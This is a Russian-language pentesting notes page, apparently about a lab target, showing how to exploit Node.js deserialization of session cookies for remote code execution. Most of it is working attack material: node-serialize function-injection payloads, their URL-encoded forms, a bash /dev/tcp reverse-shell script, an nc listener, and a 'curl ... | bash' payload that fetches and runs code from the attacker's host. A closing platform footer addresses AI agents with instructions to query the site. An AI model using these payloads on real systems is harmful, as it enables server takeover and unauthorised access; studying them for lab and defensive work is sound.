> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/deserialization-attack/node.js-deserialization-rce-pentesting-web.md).

# RCE через десериализацию Node.js

## Эксплуатация десериализации NodeJS

* Обнаружение функции, которая десериализует куки сессии.

<figure><img src="/files/12986cc8ae64a4bcf2d69501e902ca88c59bd55e" alt=""><figcaption></figcaption></figure>

Создание полезной нагрузки:

{% code overflow="wrap" %}

```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 1 10.10.14.61', function(error, stdout, stderr) { console.log(stdout) }); }()"}

```

{% endcode %}

Прослушивание ICMP-трафика с помощью:

```bash
tcpdump -i tun0 icmp -n

```

* URL-кодирование:

<figure><img src="/files/a576cc1b0907024cca6a32d703cdc539faed7635" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%70%69%6e%67%20%2d%63%20%31%20%31%30%2e%31%30%2e%31%34%2e%32%38%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d

```

{% endcode %}

Создание RCE через URL-кодирование и внедрение в cookies.

<figure><img src="/files/966caa2ca8f7f33218199d55ee497e0750325e54" alt=""><figcaption></figcaption></figure>

```bash
tcpdump -i tun0 icmp -n

```

<figure><img src="/files/185b08fd150bc52493bacd59b729922a6dfec9a0" alt=""><figcaption></figcaption></figure>

### RCE — уязвимость десериализации (Node.js)

Создание скрипта reverse shell `index.html`:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.61/443 0>&1

```

Запуск HTTP-сервера:

```bash
python3 -m http.server 80

```

Запустите прослушиватель:

```bash
nc -nlvp 443

```

#### Отправка полезной нагрузки:

{% code overflow="wrap" %}

```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://10.10.14.61 | bash', function(error, stdout, stderr) { console.log(stdout) }); }()"}

```

{% endcode %}

* URL-кодирование:

{% code overflow="wrap" %}

```
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%34%2e%36%31%20%7c%20%62%61%73%68%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d

```

{% endcode %}

Результат: доступ к shell получен.

<figure><img src="/files/2ba478fdec9da6e262c581620167619b32cb85be" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/deserialization-attack/node.js-deserialization-rce-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
